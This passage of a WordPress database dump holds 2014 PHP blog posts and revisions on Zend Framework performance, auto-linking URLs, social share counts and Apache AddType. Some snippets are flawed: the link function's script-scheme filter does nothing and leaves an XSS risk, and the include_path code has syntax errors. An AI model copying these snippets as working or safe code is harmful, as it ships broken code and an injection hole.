path/to/ZendFramework/library\r\n\r\n% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nZend_Translate::setCache($cache);\r\n\r\n$translate = new Zend_Translate(\r\n\r\narray(\r\n\r\n\'adapter\' =&gt; \'gettext\',\r\n\r\n\'content\' =&gt; \'/path/to/translate.mo\',\r\n\r\n\'locale\'  =&gt; \'en\'\r\n\r\n)\r\n\r\n);\r\n\r\n// to clear the cache somewhere later in your code\r\n\r\nZend_Translate::clearCache();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\r\n\r\n\'automatic_serialization\' =&gt; true\r\n\r\n);\r\n\r\n$backendOptions = array(\r\n\r\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\r\n\r\n);\r\n\r\n// getting a Zend_Cache_Core object\r\n\r\n$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nBy using the above code you can initialized the cache\r\n\r\n// see if a cache already exists:\r\n\r\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\r\n\r\n&nbsp;\r\n\r\n// cache miss; connect to the database\r\n\r\n//Write code to fetch the db results\r\n\r\n} else {\r\n\r\n// cache hit! shout so that we know\r\n\r\necho \"This one is from cache!\\n\\n\";\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nprint_r($result);\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b> </b>\r\n\r\n<b>Opcode caching</b>\r\n\r\n<b> </b>\r\n\r\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\r\n\r\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\r\n\r\nThough you optimized your Zend Framework you need to cache your php script.\r\n\r\n&nbsp;\r\n\r\nThere are many options available, in those I am using apc to cache my opcodes.\r\n\r\nThe below code is used to cache the php code in to opcodes.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {\r\n\r\necho \"ERROR: apc_compile_file does not exist!\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n/**\r\n\r\n* Compile Files for APC\r\n\r\n* The function runs through each directory and\r\n\r\n* compiles each *.php file through apc_compile_file\r\n\r\n*/\r\n\r\nfunction compilefilesToApc($dir)\r\n\r\n{\r\n\r\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\r\n\r\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($dirs)) {\r\n\r\ncompilefilesToApc($v);\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\r\n\r\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($files))\r\n\r\n{\r\n\r\napc_compile_file($v);\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\ncompilefilesToApc(\'/path/to/dir\');\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>','Zend Framework Performance Optimization','','publish','open','open','','zend-framework-performance-optimization','','','2014-07-21 10:14:18','2014-07-21 10:14:18','',0,'http://localhost/yalavarthitechnologies/blog/?p=137',0,'post','',0),(138,1,'2014-07-21 10:14:18','2014-07-21 10:14:18','<strong>Summary:</strong>\r\n\r\n<b> Zend Framework Performance Optimization</b>\r\n\r\n<b> </b>\r\n\r\n<b>What is Application Performance</b>\r\n\r\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\r\n\r\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\r\n\r\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\r\n\r\n&nbsp;\r\n\r\n<b>Why Zend Framework</b>\r\n\r\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\r\n\r\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\r\n\r\n&nbsp;\r\n\r\n<b>Zend Framework performance optimization</b>\r\n\r\nThe following are the few ways to optimize your Zend Framework.\r\n\r\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));\r\n\r\n$paths = array(\r\n\r\nAPPLICATION_PATH . \'/../library\'),\r\n\r\n\'.\',\r\n\r\n);\r\n\r\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';\r\n\r\nZend_Loader_Autoloader::getInstance();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">% cd path/to/ZendFramework/library\r\n\r\n% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nZend_Translate::setCache($cache);\r\n\r\n$translate = new Zend_Translate(\r\n\r\narray(\r\n\r\n\'adapter\' =&gt; \'gettext\',\r\n\r\n\'content\' =&gt; \'/path/to/translate.mo\',\r\n\r\n\'locale\'  =&gt; \'en\'\r\n\r\n)\r\n\r\n);\r\n\r\n// to clear the cache somewhere later in your code\r\n\r\nZend_Translate::clearCache();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\r\n\r\n\'automatic_serialization\' =&gt; true\r\n\r\n);\r\n\r\n$backendOptions = array(\r\n\r\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\r\n\r\n);\r\n\r\n// getting a Zend_Cache_Core object\r\n\r\n$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nBy using the above code you can initialized the cache\r\n\r\n// see if a cache already exists:\r\n\r\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\r\n\r\n&nbsp;\r\n\r\n// cache miss; connect to the database\r\n\r\n//Write code to fetch the db results\r\n\r\n} else {\r\n\r\n// cache hit! shout so that we know\r\n\r\necho \"This one is from cache!\\n\\n\";\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nprint_r($result);\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b> </b>\r\n\r\n<b>Opcode caching</b>\r\n\r\n<b> </b>\r\n\r\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\r\n\r\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\r\n\r\nThough you optimized your Zend Framework you need to cache your php script.\r\n\r\n&nbsp;\r\n\r\nThere are many options available, in those I am using apc to cache my opcodes.\r\n\r\nThe below code is used to cache the php code in to opcodes.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {\r\n\r\necho \"ERROR: apc_compile_file does not exist!\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n/**\r\n\r\n* Compile Files for APC\r\n\r\n* The function runs through each directory and\r\n\r\n* compiles each *.php file through apc_compile_file\r\n\r\n*/\r\n\r\nfunction compilefilesToApc($dir)\r\n\r\n{\r\n\r\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\r\n\r\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($dirs)) {\r\n\r\ncompilefilesToApc($v);\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\r\n\r\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($files))\r\n\r\n{\r\n\r\napc_compile_file($v);\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\ncompilefilesToApc(\'/path/to/dir\');\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>','Zend Framework Performance Optimization','','inherit','open','open','','137-revision-v1','','','2014-07-21 10:14:18','2014-07-21 10:14:18','',137,'http://localhost/yalavarthitechnologies/blog/?p=138',0,'revision','',0),(139,1,'2014-07-21 10:17:13','2014-07-21 10:17:13','<strong>Summary:</strong>\r\n\r\nA lot of times we upload or post description to the site using textareas. If  that text contains any urls then the below code will convert  them as hot links while displaying to the user.\r\n\r\nThis will not only convert the urls but also recognize emails and add a mailto tag to them.\r\n\r\nfunction clickable_link($text,$anchor_class=\'\')\r\n{\r\n$text = preg_replace(\'#(script|about|applet|activex|chrome):#is\', \"\\\\1:\", $text);\r\n// pad it with a space so we can match things at the start of the 1st line.\r\n$ret = \' \' . $text;\r\n\r\n//this will remove the id=\" | id=\' from the text which will eliminate classes and scripts\r\n$ret = preg_replace(\"#(\\id[\\s]{0,1}=\\\"[^\\\"]*\\\"|\\id[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\\\"[^\\\"]*\\\")#i\", \" \", $ret);\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([\\w]+?://[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches a \"www|ftp.xxxx.yyyy[/zzzz]\" kinda lazy URL thing\r\n// Must contain at least 2 dots. xxxx contains either alphanum, or \"-\"\r\n// zzzz is optional.. will contain everything up to the first space, newline,\r\n// comma, double quote or &lt;.\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])((www|ftp)\\.[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"http://\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches an email@domain type address at the start of a line, or after a space.\r\n// Note: Only the followed chars are valid; alphanums, \"-\", \"_\" and or \".\".\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([a-zA-Z]{1})([a-z0-9&amp;\\-_.]+?)@([\\w\\-]+\\.([\\w\\-\\.]+\\.)*[\\w]+)#i\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"mailto:\\\\2\\\\3@\\\\4\\\"&gt;\\\\2\\\\3@\\\\4&lt;/a&gt;\", $ret);\r\n\r\n//remove starting space that we added\r\n$ret = substr($ret, 1);\r\n\r\nreturn $ret;\r\n}','Making text as hot links','','publish','open','open','','making-text-as-hot-links','','','2014-07-21 10:17:13','2014-07-21 10:17:13','',0,'http://localhost/yalavarthitechnologies/blog/?p=139',0,'post','',0),(141,1,'2014-07-21 10:17:13','2014-07-21 10:17:13','<strong>Summary:</strong>\r\n\r\nA lot of times we upload or post description to the site using textareas. If  that text contains any urls then the below code will convert  them as hot links while displaying to the user.\r\n\r\nThis will not only convert the urls but also recognize emails and add a mailto tag to them.\r\n\r\nfunction clickable_link($text,$anchor_class=\'\')\r\n{\r\n$text = preg_replace(\'#(script|about|applet|activex|chrome):#is\', \"\\\\1:\", $text);\r\n// pad it with a space so we can match things at the start of the 1st line.\r\n$ret = \' \' . $text;\r\n\r\n//this will remove the id=\" | id=\' from the text which will eliminate classes and scripts\r\n$ret = preg_replace(\"#(\\id[\\s]{0,1}=\\\"[^\\\"]*\\\"|\\id[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\\\"[^\\\"]*\\\")#i\", \" \", $ret);\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([\\w]+?://[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches a \"www|ftp.xxxx.yyyy[/zzzz]\" kinda lazy URL thing\r\n// Must contain at least 2 dots. xxxx contains either alphanum, or \"-\"\r\n// zzzz is optional.. will contain everything up to the first space, newline,\r\n// comma, double quote or &lt;.\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])((www|ftp)\\.[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"http://\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches an email@domain type address at the start of a line, or after a space.\r\n// Note: Only the followed chars are valid; alphanums, \"-\", \"_\" and or \".\".\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([a-zA-Z]{1})([a-z0-9&amp;\\-_.]+?)@([\\w\\-]+\\.([\\w\\-\\.]+\\.)*[\\w]+)#i\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"mailto:\\\\2\\\\3@\\\\4\\\"&gt;\\\\2\\\\3@\\\\4&lt;/a&gt;\", $ret);\r\n\r\n//remove starting space that we added\r\n$ret = substr($ret, 1);\r\n\r\nreturn $ret;\r\n}','Making text as hot links','','inherit','open','open','','139-revision-v1','','','2014-07-21 10:17:13','2014-07-21 10:17:13','',139,'http://localhost/yalavarthitechnologies/blog/?p=141',0,'revision','',0),(142,1,'2014-07-21 10:18:51','2014-07-21 10:18:51','<strong>Summary:</strong>\r\n\r\nTo get Facebook likes, share, comments\r\n\r\n$source_url = \"http://www.flightpodcast.com/episode-6-john-bartels-qantas-qf30\";\r\n$url = \"http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=\".urlencode($source_url);\r\n$xml = file_get_contents($url);\r\n$xml = simplexml_load_string($xml);\r\necho \"&lt;b&gt;Shares:&lt;/b&gt; \".$shares = $xml-&gt;link_stat-&gt;share_count;\r\necho \"&lt;b&gt;Likes:&lt;/b&gt; \".$likes = $xml-&gt;link_stat-&gt;like_count;\r\necho \"&lt;b&gt;Comments:&lt;/b&gt; \".$comments = $xml-&gt;link_stat-&gt;comment_count;\r\necho \"&lt;b&gt;Total:&lt;/b&gt; \".$total = $xml-&gt;link_stat-&gt;total_count;\r\nTo get Twitter retweets\r\n\r\n$url = urlencode($url);\r\n$twitterEndpoint = \"http://urls.api.twitter.com/1/urls/count.json?url=%s\";\r\n$fileData = file_get_contents(sprintf($twitterEndpoint, $url));\r\n$json = json_decode($fileData, true);\r\nunset($fileData);// free memory\r\necho $json[\'count\'];','Fetching Facebook, twitter button values in php','','publish','open','open','','fetching-facebook-twitter-button-values-in-php','','','2014-07-21 10:18:52','2014-07-21 10:18:52','',0,'http://localhost/yalavarthitechnologies/blog/?p=142',0,'post','',0),(143,1,'2014-07-21 10:17:22','2014-07-21 10:17:22','<strong>Summary:</strong>\n\n<b> Zend Framework Performance Optimization</b>\n\n<b> </b>\n\n<b>What is Application Performance</b>\n\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\n\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\n\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\n\n&nbsp;\n\n<b>Why Zend Framework</b>\n\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\n\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\n\n&nbsp;\n\n<b>Zend Framework performance optimization</b>\n\nThe following are the few ways to optimize your Zend Framework.\n\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\n\n&nbsp;\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));$paths = array(\n\nAPPLICATION_PATH . \'/../library\'),\n\n\'.\',\n\n);\n\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\n</tr>\n</tbody>\n</table>\n&nbsp;\n\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\n\n&nbsp;\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';Zend_Loader_Autoloader::getInstance();</td>\n</tr>\n</tbody>\n</table>\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">% cd path/to/ZendFramework/library% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\n</tr>\n</tbody>\n</table>\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\'File\',\n\n$frontendOptions,\n\n$backendOptions);\n\nZend_Translate::setCache($cache);\n\n$translate = new Zend_Translate(\n\narray(\n\n\'adapter\' =&gt; \'gettext\',\n\n\'content\' =&gt; \'/path/to/translate.mo\',\n\n\'locale\'  =&gt; \'en\'\n\n)\n\n);\n\n// to clear the cache somewhere later in your code\n\nZend_Translate::clearCache();</td>\n</tr>\n</tbody>\n</table>\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\'automatic_serialization\' =&gt; true\n\n);\n\n$backendOptions = array(\n\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\n\n);\n\n// getting a Zend_Cache_Core object\n\n$cache = Zend_Cache::factory(\'Core\',\n\n\'File\',\n\n$frontendOptions,\n\n$backendOptions);\n\nBy using the above code you can initialized the cache\n\n// see if a cache already exists:\n\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\n\n&nbsp;\n\n// cache miss; connect to the database\n\n//Write code to fetch the db results\n\n} else {\n\n// cache hit! shout so that we know\n\necho \"This one is from cache!\\n\\n\";\n\n&nbsp;\n\n}\n\n&nbsp;\n\nprint_r($result);\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>\n<b> </b>\n\n<b>Opcode caching</b>\n\n<b> </b>\n\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\n\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\n\nThough you optimized your Zend Framework you need to cache your php script.\n\n&nbsp;\n\nThere are many options available, in those I am using apc to cache my opcodes.\n\nThe below code is used to cache the php code in to opcodes.\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {echo \"ERROR: apc_compile_file does not exist!\";\n\nexit(1);\n\n}\n\n&nbsp;\n\n&nbsp;\n\n/**\n\n* Compile Files for APC\n\n* The function runs through each directory and\n\n* compiles each *.php file through apc_compile_file\n\n*/\n\nfunction compilefilesToApc($dir)\n\n{\n\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\n\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\n\nwhile(list(,$v) = each($dirs)) {\n\ncompilefilesToApc($v);\n\n}\n\n}\n\n&nbsp;\n\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\n\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\n\nwhile(list(,$v) = each($files))\n\n{\n\napc_compile_file($v);\n\n}\n\n}\n\n}\n\n&nbsp;\n\ncompilefilesToApc(\'/path/to/dir\');\n\n&nbsp;</td>\n</tr>\n</tbody>\n</table>','Zend Framework Performance Optimization','','inherit','open','open','','137-autosave-v1','','','2014-07-21 10:17:22','2014-07-21 10:17:22','',137,'http://localhost/yalavarthitechnologies/blog/?p=143',0,'revision','',0),(144,1,'2014-07-21 10:18:52','2014-07-21 10:18:52','<strong>Summary:</strong>\r\n\r\nTo get Facebook likes, share, comments\r\n\r\n$source_url = \"http://www.flightpodcast.com/episode-6-john-bartels-qantas-qf30\";\r\n$url = \"http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=\".urlencode($source_url);\r\n$xml = file_get_contents($url);\r\n$xml = simplexml_load_string($xml);\r\necho \"&lt;b&gt;Shares:&lt;/b&gt; \".$shares = $xml-&gt;link_stat-&gt;share_count;\r\necho \"&lt;b&gt;Likes:&lt;/b&gt; \".$likes = $xml-&gt;link_stat-&gt;like_count;\r\necho \"&lt;b&gt;Comments:&lt;/b&gt; \".$comments = $xml-&gt;link_stat-&gt;comment_count;\r\necho \"&lt;b&gt;Total:&lt;/b&gt; \".$total = $xml-&gt;link_stat-&gt;total_count;\r\nTo get Twitter retweets\r\n\r\n$url = urlencode($url);\r\n$twitterEndpoint = \"http://urls.api.twitter.com/1/urls/count.json?url=%s\";\r\n$fileData = file_get_contents(sprintf($twitterEndpoint, $url));\r\n$json = json_decode($fileData, true);\r\nunset($fileData);// free memory\r\necho $json[\'count\'];','Fetching Facebook, twitter button values in php','','inherit','open','open','','142-revision-v1','','','2014-07-21 10:18:52','2014-07-21 10:18:52','',142,'http://localhost/yalavarthitechnologies/blog/?p=144',0,'revision','',0),(145,1,'2014-07-21 10:21:31','2014-07-21 10:21:31','<strong>Summary:</strong>\r\n\r\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\r\n\r\nDownload the code form zip file pass URL for getting the article.\r\n\r\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\r\n\r\n&nbsp;\r\n\r\nNote: This code work for 90% HTML and RSS feed.','Getting a full Article from HTML page or RSS feed','','publish','open','open','','getting-a-full-article-from-html-page-or-rss-feed','','','2014-07-21 10:21:31','2014-07-21 10:21:31','',0,'http://localhost/yalavarthitechnologies/blog/?p=145',0,'post','',0),(146,1,'2014-07-21 10:21:31','2014-07-21 10:21:31','<strong>Summary:</strong>\r\n\r\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\r\n\r\nDownload the code form zip file pass URL for getting the article.\r\n\r\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\r\n\r\n&nbsp;\r\n\r\nNote: This code work for 90% HTML and RSS feed.','Getting a full Article from HTML page or RSS feed','','inherit','open','open','','145-revision-v1','','','2014-07-21 10:21:31','2014-07-21 10:21:31','',145,'http://localhost/yalavarthitechnologies/blog/?p=146',0,'revision','',0),(147,1,'2014-07-21 10:24:25','2014-07-21 10:24:25','<strong>Summary:</strong>\r\n\r\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\r\n\r\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\r\n\r\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\r\n\r\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf file:\r\n<b>\r\n<strong>AddType application/x-httpd-php .html</strong>\r\n\r\n<strong>AddType application/x-httpd-php .htm</strong></b>','Executing PHP code on my existing yourpage.html page','','publish','open','open','','executing-php-code-on-my-existing-yourpage-html-page','','','2014-07-21 10:24:25','2014-07-21 10:24:25','',0,'http://localhost/yalavarthitechnologies/blog/?p=147',0,'post','',0),(148,1,'2014-07-21 10:22:21','2014-07-21 10:22:21','<strong>Summary:</strong>\n\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\n\nDownload the code form zip file pass URL for getting the article.\n\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\n\n&nbsp;\n\nNote: This code work for 90% HTML and RSS feed.','Getting a full Article from HTML page or RSS feed','','inherit','open','open','','145-autosave-v1','','','2014-07-21 10:22:21','2014-07-21 10:22:21','',145,'http://localhost/yalavarthitechnologies/blog/?p=148',0,'revision','',0),(149,1,'2014-07-21 10:24:25','2014-07-21 10:24:25','<strong>Summary:</strong>\r\n\r\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\r\n\r\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\r\n\r\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\r\n\r\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf 